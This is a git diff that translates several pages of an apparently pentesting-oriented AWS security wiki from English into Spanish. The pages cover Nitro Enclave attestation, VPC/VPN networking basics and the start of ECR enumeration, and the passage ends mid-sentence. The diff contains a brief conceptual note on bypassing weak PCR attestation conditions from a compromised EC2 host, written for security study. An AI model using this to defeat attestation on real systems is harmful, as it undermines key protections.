- -You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**. +Puedes integrar **atestación criptográfica** en tus aplicaciones y aprovechar integraciones preconstruidas con servicios como **AWS KMS**. AWS KMS puede **validar atestaciones de enclave** y ofrece claves de condición basadas en atestación (`kms:RecipientAttestation:ImageSha384` y `kms:RecipientAttestation:PCR`) en sus políticas de clave. Estas políticas aseguran que AWS KMS permite operaciones utilizando la clave KMS **solo si el documento de atestación de la enclave es válido** y cumple con las **condiciones especificadas**. > [!TIP] -> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail. +> Ten en cuenta que las Enclaves en modo de depuración (--debug) generan documentos de atestación con PCRs que están compuestos de ceros (`000000000000000000000000000000000000000000000000`). Por lo tanto, las políticas de KMS que verifican estos valores fallarán. -### PCR Bypass +### Bypass de PCR -From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement). +Desde la perspectiva de un atacante, observa que algunos PCRs permitirían modificar algunas partes o toda la imagen de enclave y seguirían siendo válidos (por ejemplo, PCR4 solo verifica el ID de la instancia padre, por lo que ejecutar cualquier imagen de enclave en esa EC2 permitirá cumplir con este posible requisito de PCR). -Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections. +Por lo tanto, un atacante que comprometa la instancia EC2 podría ser capaz de ejecutar otras imágenes de enclave para eludir estas protecciones. -The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO. +La investigación sobre cómo modificar/crear nuevas imágenes para eludir cada protección (especialmente las que no son tan obvias) sigue siendo TODO. -## References +## Referencias - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- Todas las partes del tutorial de Nitro de AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 03277bfd1..868130111 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -4,37 +4,37 @@ ## AWS Networking in a Nutshell -A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**). +Una **VPC** contiene un **CIDR de red** como 10.0.0.0/16 (con su **tabla de enrutamiento** y **ACL de red**). -This VPC network is divided in **subnetworks**, so a **subnetwork** is directly **related** with the **VPC**, **routing** **table** and **network ACL**. +Esta red VPC se divide en **subredes**, por lo que una **subred** está directamente **relacionada** con la **VPC**, la **tabla de enrutamiento** y la **ACL de red**. -Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**. +Luego, las **Interfaces de Red** adjuntas a servicios (como instancias EC2) están **conectadas** a las **subredes** con **grupo(s) de seguridad**. -Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**. +Por lo tanto, un **grupo de seguridad** limitará los puertos expuestos de las **interfaces de red que lo utilizan**, **independientemente de la subred**. Y una **ACL de red** **limitará** los puertos expuestos a la **red completa**. -Moreover, in order to **access Internet**, there are some interesting configurations to check: +Además, para **acceder a Internet**, hay algunas configuraciones interesantes a verificar: -- A **subnetwork** can **auto-assign public IPv4 addresses** -- An **instance** created in the network that **auto-assign IPv4 addresses can get one** -- An **Internet gateway** need to be **attached** to the **VPC** - - You could also use **Egress-only internet gateways** -- You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**. - - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) +- Una **subred** puede **asignar automáticamente direcciones IPv4 públicas** +- Una **instancia** creada en la red que **asigna automáticamente direcciones IPv4 puede obtener una** +- Un **gateway de Internet** debe estar **adjunto** a la **VPC** +- También podrías usar **gateways de internet solo de salida** +- También podrías tener un **gateway NAT** en una **subred privada** para que sea posible **conectarse a servicios externos** desde esa subred privada, pero **no es posible alcanzarlos desde el exterior**. +- El gateway NAT puede ser **público** (acceso a Internet) o **privado** (acceso a otras VPCs) ![](<../../../../images/image (274).png>) ## VPC -Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resources into a virtual network** that you've defined. This virtual network will have several subnets, Internet Gateways to access Internet, ACLs, Security groups, IPs... +Amazon **Virtual Private Cloud** (Amazon VPC) te permite **lanzar recursos de AWS en una red virtual** que has definido. Esta red virtual tendrá varias subredes, Gateways de Internet para acceder a Internet, ACLs, Grupos de seguridad, IPs... ### Subnets -Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure. +Las subredes ayudan a imponer un mayor nivel de seguridad. **La agrupación lógica de recursos similares** también te ayuda a mantener una **facilidad de gestión** en tu infraestructura. -- Valid CIDR are from a /16 netmask to a /28 netmask. -- A subnet cannot be in different availability zones at the same time. -- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. -- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.** +- Los CIDR válidos son desde una máscara de red /16 hasta una máscara de red /28. +- Una subred no puede estar en diferentes zonas de disponibilidad al mismo tiempo. +- **AWS reserva las primeras tres direcciones IP de host** de cada subred **para** **uso interno de AWS**: la primera dirección de host utilizada es para el enrutador de la VPC. La segunda dirección está reservada para AWS DNS y la tercera dirección está reservada para uso futuro. +- Se llaman **subredes públicas** a aquellas que tienen **acceso directo a Internet, mientras que las subredes privadas no.**
@@ -42,15 +42,15 @@ Subnets helps to enforce a greater level of security. **Logical grouping of simi ### Route Tables -Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the: +Las tablas de enrutamiento determinan el enrutamiento del tráfico para una subred dentro de una VPC. Determinan qué tráfico de red se reenvía a Internet o a una conexión VPN. Normalmente encontrarás acceso a: -- Local VPC +- VPC local - NAT -- Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet). - - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. -- VPC endpoints (to access S3 from private networks) +- Gateways de Internet / Gateways de Internet solo de salida (necesarios para dar acceso a la VPC a Internet). +- Para hacer que una subred sea pública, necesitas **crear** y **adjuntar** un **gateway de Internet** a tu VPC. +- Puntos finales de VPC (para acceder a S3 desde redes privadas) -In the following images you can check the differences in a default public network and a private one: +En las siguientes imágenes puedes verificar las diferencias en una red pública predeterminada y una privada:
@@ -58,142 +58,138 @@ In the following images you can check the differences in a default public networ ### ACLs -**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges. +**Listas de Control de Acceso de Red (ACLs)**: Las ACL de red son reglas de firewall que controlan el tráfico de red entrante y saliente a una subred. Pueden ser utilizadas para permitir o denegar tráfico a direcciones IP o rangos específicos. -- It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections -- However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed +- Es más frecuente permitir/denegar acceso utilizando grupos de seguridad, pero esta es la única forma de cortar completamente shells reversos establecidos. Una regla modificada en un grupo de seguridad no detiene las conexiones ya establecidas. +- Sin embargo, esto se aplica a toda la subred, ten cuidado al prohibir cosas porque la funcionalidad necesaria podría verse afectada. ### Security Groups -Security groups are a virtual **firewall** that control inbound and outbound network **traffic to instances** in a VPC. Relation 1 SG to M instances (usually 1 to 1).\ -Usually this is used to open dangerous ports in instances, such as port 22 for example: +Los grupos de seguridad son un **firewall** virtual que controla el tráfico de red **entrante y saliente a las instancias** en una VPC. Relación 1 SG a M instancias (generalmente 1 a 1).\ +Normalmente se utiliza para abrir puertos peligrosos en instancias, como el puerto 22, por ejemplo:
### Elastic IP Addresses -An _Elastic IP address_ is a **static IPv4 address** designed for dynamic cloud computing. An Elastic IP address is allocated to your AWS account, and is yours until you release it. By using an Elastic IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in your account. +Una _dirección IP elástica_ es una **dirección IPv4 estática** diseñada para la computación en la nube dinámica. Una dirección IP elástica se asigna a tu cuenta de AWS y es tuya hasta que la liberes. Al usar una dirección IP elástica, puedes enmascarar la falla de una instancia o software al reasignar rápidamente la dirección a otra instancia en tu cuenta. ### Connection between subnets -By default, all subnets have the **automatic assigned of public IP addresses turned off** but it can be turned on. +Por defecto, todas las subredes tienen la **asignación automática de direcciones IP públicas desactivada**, pero se puede activar. -**A local route within a route table enables communication between VPC subnets.** +**Una ruta local dentro de una tabla de enrutamiento permite la comunicación entre subredes de VPC.** -If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet. +Si estás **conectando una subred con otra subred diferente, no puedes acceder a las subredes conectadas** con la otra subred, necesitas crear conexión con ellas directamente. **Esto también se aplica a los gateways de internet**. No puedes pasar a través de una conexión de subred para acceder a Internet, necesitas asignar el gateway de internet a tu subred. ### VPC Peering -VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. +El emparejamiento de VPC permite **conectar dos o más VPCs juntas**, utilizando IPV4 o IPV6, como si fueran parte de la misma red. -Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\ -If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ -Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.** +Una vez que se establece la conectividad de emparejamiento, **los recursos en una VPC pueden acceder a los recursos en la otra**. La conectividad entre las VPCs se implementa a través de la infraestructura de red existente de AWS, por lo que es altamente disponible sin cuellos de botella de ancho de banda. Como **las conexiones emparejadas operan como si fueran parte de la misma red**, hay restricciones en cuanto a los rangos de bloques CIDR que se pueden utilizar.\ +Si tienes rangos CIDR **superpuestos o duplicados** para tu VPC, entonces **no podrás emparejar las VPCs**.\ +Cada VPC de AWS **solo se comunicará con su par**. Como ejemplo, si tienes una conexión de emparejamiento entre VPC 1 y VPC 2, y otra conexión entre VPC 2 y VPC 3 como se muestra, entonces VPC 1 y 2 podrían comunicarse entre sí directamente, al igual que VPC 2 y VPC 3, sin embargo, VPC 1 y VPC 3 no podrían. **No puedes enrutar a través de una VPC para llegar a otra.** ### **VPC Flow Logs** -Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**. +Dentro de tu VPC, podrías tener potencialmente cientos o incluso miles de recursos comunicándose entre diferentes subredes tanto públicas como privadas y también entre diferentes VPCs a través de conexiones de emparejamiento de VPC. **Los VPC Flow Logs te permiten capturar información del tráfico IP que fluye entre las interfaces de red de tus recursos dentro de tu VPC**. -Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**. +A diferencia de los registros de acceso de S3 y los registros de acceso de CloudFront, los **datos de registro generados por los VPC Flow Logs no se almacenan en S3. En su lugar, los datos de registro capturados se envían a los registros de CloudWatch**. -Limitations: +Limitaciones: -- If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account. -- If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces -- Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one. -- The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server. -- Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service. -- Traffic relating to an Amazon Windows activation license from a Windows instance -- Traffic between a network load balancer interface and an endpoint network interface +- Si estás ejecutando una conexión de emparejamiento de VPC, entonces solo podrás ver los registros de flujo de las VPCs emparejadas que están dentro de la misma cuenta. +- Si aún estás ejecutando recursos dentro del entorno EC2-Classic, entonces, desafortunadamente, no podrás recuperar información de sus interfaces. +- Una vez que se ha creado un VPC Flow Log, no se puede cambiar. Para alterar la configuración del VPC Flow Log, necesitas eliminarlo y luego recrear uno nuevo. +- El siguiente tráfico no es monitoreado ni capturado por los registros. Tráfico DHCP dentro de la VPC, tráfico de instancias destinado al servidor DNS de Amazon. +- Cualquier tráfico destinado a la dirección IP del enrutador predeterminado de la VPC y tráfico hacia y desde las siguientes direcciones, 169.254.169.254 que se utiliza para recopilar metadatos de instancias, y 169.254.169.123 que se utiliza para el Servicio de Sincronización de Tiempo de Amazon. +- Tráfico relacionado con una licencia de activación de Windows de una instancia de Windows. +- Tráfico entre una interfaz de balanceador de carga de red y una interfaz de red de punto final. -For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**. +Para cada interfaz de red que publica datos en el grupo de registros de CloudWatch, se utilizará un flujo de registro diferente. Y dentro de cada uno de estos flujos, habrá datos de eventos de registro de flujo que muestran el contenido de las entradas de registro. Cada uno de estos **registros captura datos durante una ventana de aproximadamente 10 a 15 minutos**. ## VPN ### Basic AWS VPN Components 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- Un Customer Gateway es un recurso que creas en AWS para representar tu lado de una conexión VPN. +- Es esencialmente un dispositivo físico o una aplicación de software en tu lado de la conexión VPN Site-to-Site. +- Proporcionas información de enrutamiento y la dirección IP pública de tu dispositivo de red (como un enrutador o un firewall) a AWS para crear un Customer Gateway. +- Sirve como un punto de referencia para configurar la conexión VPN y no incurre en cargos adicionales. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- Un Virtual Private Gateway (VPG) es el concentrador VPN en el lado de Amazon de la conexión VPN Site-to-Site. +- Está adjunto a tu VPC y sirve como el objetivo para tu conexión VPN. +- VPG es el punto final del lado de AWS para la conexión VPN. +- Maneja la comunicación segura entre tu VPC y tu red local. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- Una conexión VPN Site-to-Site conecta tu red local a una VPC a través de un túnel VPN IPsec seguro. +- Este tipo de conexión requiere un Customer Gateway y un Virtual Private Gateway. +- Se utiliza para una comunicación segura, estable y consistente entre tu centro de datos o red y tu entorno de AWS. +- Típicamente se utiliza para conexiones regulares y a largo plazo y se factura según la cantidad de datos transferidos a través de la conexión. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- Un endpoint de Client VPN es un recurso que creas en AWS para habilitar y gestionar sesiones de VPN de cliente. +- Se utiliza para permitir que dispositivos individuales (como laptops, teléfonos inteligentes, etc.) se conecten de forma segura a recursos de AWS o a tu red local. +- Se diferencia de Site-to-Site VPN en que está diseñado para clientes individuales en lugar de conectar redes completas. +- Con Client VPN, cada dispositivo cliente utiliza un software de cliente VPN para establecer una conexión segura. ### Site-to-Site VPN -**Connect your on premisses network with your VPC.** +**Conecta tu red local con tu VPC.** -- **VPN connection**: A secure connection between your on-premises equipment and your VPCs. -- **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. +- **Conexión VPN**: Una conexión segura entre tu equipo local y tus VPCs. +- **Túnel VPN**: Un enlace cifrado donde los datos pueden pasar desde la red del cliente hacia o desde AWS. - Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +Cada conexión VPN incluye dos túneles VPN que puedes usar simultáneamente para alta disponibilidad. -- **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. -- **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. -- **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. -- **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. +- **Customer gateway**: Un recurso de AWS que proporciona información a AWS sobre tu dispositivo de gateway de cliente. +- **Customer gateway device**: Un dispositivo físico o una aplicación de software en tu lado de la conexión VPN Site-to-Site. +- **Virtual private gateway**: El concentrador VPN en el lado de Amazon de la conexión VPN Site-to-Site. Utilizas un gateway privado virtual o un gateway de tránsito como el gateway para el lado de Amazon de la conexión VPN Site-to-Site. +- **Transit gateway**: Un hub de tránsito que se puede utilizar para interconectar tus VPCs y redes locales. Utilizas un gateway de tránsito o un gateway privado virtual como el gateway para el lado de Amazon de la conexión VPN Site-to-Site. #### Limitations -- IPv6 traffic is not supported for VPN connections on a virtual private gateway. -- An AWS VPN connection does not support Path MTU Discovery. +- El tráfico IPv6 no es compatible con conexiones VPN en un gateway privado virtual. +- Una conexión VPN de AWS no admite el descubrimiento de Path MTU. -In addition, take the following into consideration when you use Site-to-Site VPN. +Además, ten en cuenta lo siguiente cuando utilices Site-to-Site VPN. -- When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks. +- Al conectar tus VPCs a una red local común, recomendamos que utilices bloques CIDR no superpuestos para tus redes. ### Client VPN -**Connect from your machine to your VPC** +**Conéctate desde tu máquina a tu VPC** #### Concepts -- **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. -- **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. -- **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks. -- **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. -- **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. -- **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`. -- **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. -- **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. -- **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. -- **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. +- **Client VPN endpoint:** El recurso que creas y configuras para habilitar y gestionar sesiones de VPN de cliente. Es el recurso donde se terminan todas las sesiones de VPN de cliente. +- **Target network:** Una red objetivo es la red que asocias con un endpoint de Client VPN. **Una subred de una VPC es una red objetivo**. Asociar una subred con un endpoint de Client VPN te permite establecer sesiones de VPN. Puedes asociar múltiples subredes con un endpoint de Client VPN para alta disponibilidad. Todas las subredes deben ser de la misma VPC. Cada subred debe pertenecer a una zona de disponibilidad diferente. +- **Route**: Cada endpoint de Client VPN tiene una tabla de enrutamiento que describe las rutas de red de destino disponibles. Cada ruta en la tabla de enrutamiento especifica el camino para el tráfico hacia recursos o redes específicas. +- **Authorization rules:** Una regla de autorización **restringe a los usuarios que pueden acceder a una red**. Para una red especificada, configuras el grupo de Active Directory o proveedor de identidad (IdP) que tiene permitido el acceso. Solo los usuarios que pertenecen a este grupo pueden acceder a la red especificada. **Por defecto, no hay reglas de autorización** y debes configurar reglas de autorización para habilitar a los usuarios a acceder a recursos y redes. +- **Client:** El usuario final que se conecta al endpoint de Client VPN para establecer una sesión de VPN. Los usuarios finales necesitan descargar un cliente OpenVPN y usar el archivo de configuración del Client VPN que creaste para establecer una sesión de VPN. +- **Client CIDR range:** Un rango de direcciones IP del cual asignar direcciones IP de cliente. Cada conexión al endpoint de Client VPN se le asigna una dirección IP única del rango CIDR de cliente. Tú eliges el rango CIDR de cliente, por ejemplo, `10.2.0.0/16`. +- **Client VPN ports:** AWS Client VPN admite los puertos 443 y 1194 tanto para TCP como para UDP. El predeterminado es el puerto 443. +- **Client VPN network interfaces:** Cuando asocias una subred con tu endpoint de Client VPN, creamos interfaces de red de Client VPN en esa subred. **El tráfico que se envía a la VPC desde el endpoint de Client VPN se envía a través de una interfaz de red de Client VPN**. Luego se aplica la traducción de dirección de red de origen (SNAT), donde la dirección IP de origen del rango CIDR de cliente se traduce a la dirección IP de la interfaz de red de Client VPN. +- **Connection logging:** Puedes habilitar el registro de conexiones para tu endpoint de Client VPN para registrar eventos de conexión. Puedes usar esta información para realizar análisis forenses, analizar cómo se está utilizando tu endpoint de Client VPN o depurar problemas de conexión. +- **Self-service portal:** Puedes habilitar un portal de autoservicio para tu endpoint de Client VPN. Los clientes pueden iniciar sesión en el portal basado en la web utilizando sus credenciales y descargar la última versión del archivo de configuración del endpoint de Client VPN, o la última versión del cliente proporcionado por AWS. #### Limitations -- **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table. -- Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.** -- A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. -- The **client CIDR range cannot be changed** after you create the Client VPN endpoint. -- The **subnets** associated with a Client VPN endpoint **must be in the same VPC**. -- You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**. -- A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**. -- Client VPN supports **IPv4** traffic only. -- Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. -- If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. +- **Los rangos CIDR de cliente no pueden superponerse con el CIDR local** de la VPC en la que se encuentra la subred asociada, o cualquier ruta añadida manualmente a la tabla de enrutamiento del endpoint de Client VPN. +- Los rangos CIDR de cliente deben tener un tamaño de bloque de al **menos /22** y **no deben ser mayores que /12.** +- Una **parte de las direcciones** en el rango CIDR de cliente se utilizan para **soportar el modelo de disponibilidad** del endpoint de Client VPN, y no pueden ser asignadas a clientes. Por lo tanto, recomendamos que **asignes un bloque CIDR que contenga el doble de la cantidad de direcciones IP que se requieren** para habilitar el número máximo de conexiones concurrentes que planeas soportar en el endpoint de Client VPN. +- El **rango CIDR de cliente no se puede cambiar** después de crear el endpoint de Client VPN. +- Las **subredes** asociadas con un endpoint de Client VPN **deben estar en la misma VPC**. +- No **puedes asociar múltiples subredes de la misma zona de disponibilidad con un endpoint de Client VPN**. +- Un endpoint de Client VPN **no admite asociaciones de subredes en una VPC de tenencia dedicada**. +- Client VPN admite **tráfico IPv4** únicamente. +- Client VPN **no** es compatible con los Estándares Federales de Procesamiento de Información (**FIPS**). +- Si la autenticación multifactor (MFA) está desactivada para tu Active Directory, una contraseña de usuario no puede estar en el siguiente formato. - ``` - SCRV1:: - ``` +``` +SCRV1:: +``` -- The self-service portal is **not available for clients that authenticate using mutual authentication**. +- El portal de autoservicio **no está disponible para clientes que se autentican utilizando autenticación mutua**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 9025829b4..a13bde73a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -6,49 +6,48 @@ ### ECR -#### Basic Information +#### Información Básica -Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images. +Amazon **Elastic Container Registry** (Amazon ECR) es un **servicio de registro de imágenes de contenedor gestionado**. Está diseñado para proporcionar un entorno donde los clientes pueden interactuar con sus imágenes de contenedor utilizando interfaces bien conocidas. Específicamente, se admite el uso de la CLI de Docker o cualquier cliente preferido, lo que permite actividades como subir, bajar y gestionar imágenes de contenedor. -ECR is compose by 2 types of objects: **Registries** and **Repositories**. +ECR se compone de 2 tipos de objetos: **Registros** y **Repositorios**. -**Registries** +**Registros** -Every AWS account has 2 registries: **Private** & **Public**. +Cada cuenta de AWS tiene 2 registros: **Privados** y **Públicos**. -1. **Private Registries**: +1. **Registros Privados**: -- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission. - - The URI of a **private repository** follows the format `.dkr.ecr..amazonaws.com/` -- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles. -- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS... -- **Other private registry options**: - - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images. - - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions. - - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**. - - Specific **IAM policies** can be configured to grant different **permissions**. - - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo. +- **Privado por defecto**: Las imágenes de contenedor almacenadas en un registro privado de Amazon ECR son **accesibles solo para usuarios autorizados** dentro de su cuenta de AWS o para aquellos a quienes se les ha otorgado permiso. +- El URI de un **repositorio privado** sigue el formato `.dkr.ecr..amazonaws.com/` +- **Control de acceso**: Puede **controlar el acceso** a sus imágenes de contenedor privadas utilizando **políticas de IAM**, y puede configurar permisos detallados basados en usuarios o roles. +- **Integración con servicios de AWS**: Los registros privados de Amazon ECR se pueden **integrar fácilmente con otros servicios de AWS**, como EKS, ECS... +- **Otras opciones de registro privado**: +- La columna de inmutabilidad de etiquetas lista su estado, si la inmutabilidad de etiquetas está habilitada, **evitará** que las **subidas** de imágenes con **etiquetas preexistentes** sobrescriban las imágenes. +- La columna de **tipo de cifrado** lista las propiedades de cifrado del repositorio, muestra los tipos de cifrado predeterminados como AES-256, o tiene cifrados habilitados de **KMS**. +- La columna de **caché de extracción** lista su estado, si el estado de caché de extracción es Activo, almacenará en caché **repositorios en un repositorio público externo en su repositorio privado**. +- Se pueden configurar **políticas de IAM** específicas para otorgar diferentes **permisos**. +- La **configuración de escaneo** permite escanear en busca de vulnerabilidades en las imágenes almacenadas dentro del repositorio. -2. **Public 